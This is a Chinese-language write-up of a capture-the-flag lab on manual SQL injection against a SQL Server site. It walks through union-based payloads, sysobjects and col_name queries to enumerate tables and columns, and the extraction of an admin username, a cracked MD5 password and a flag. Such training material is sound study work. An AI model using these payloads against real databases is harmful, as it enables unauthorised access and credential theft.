SQL手工注入漏洞测试(Sql Server数据库)

1. 测试注入点
点击公告

报错,存在数字型的sql注入


开注
2. order by查询列数
2正常回显,3报错,但是4又正常,5以上报错




3. 联合查询判断占位
但是报错

union用于合并两个或多个select语句的结果集,并去除表中任何重复行
且union内部的select语句必须拥有相同数量的列,列也必须拥有相似的数据类型
同时,每条 select语句中的列的顺序必须相同
默认地,union操作符选取不同的值,如果允许重复,要使用union all
使用union all seletct测试一下,仍然报错,说明数据类型有问题,需要测试一下不同位置的数据类型

将占位的数值置为null,方便测试

开始逐位测试数据类型,得到结果如下

4. 查询数据库名
通过db_name(),查询数据库名为mozhe_db_v2
DB_NAME ( [ database_id ] ):返回当前数据库的名称

5. 查找找表名
构造语句select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'
select top 1 name from (dbName).dbo.sysobjects where xtype='u'
SELECT TOP:语句来限制查询返回的行
top 1:取出第一个值
name:sysobjects表中参数,为对象名或常用列
from [dbName].dbo.sysobjects:指定数据表
xtype:name同理,指定对象类型,其中U=用户表

靶场突然崩了重启一下,启动一年了哥。。

终于重进了,回归正题
6. 查询列名
构造语句select top 1 col_name(object_id('manage'),1)获取第一列的名称
col_name(table_id , column_id):根据表列的表标识号和列标识号值返回该表列的名称
其中,table_id:包含该列的表的标识号,column_id:列的标识号

并不需要id,获取第二列和第三列,得到username,password


7. 获取数据
不容易啊。。
通过union all select 1,username,password,'4' from manage ,获取第一列数据

得到用户名为admin_mz,密码md5解密后为97285101

进入后台,得到flag为mozhe411a3d9fe0601772a8eba762368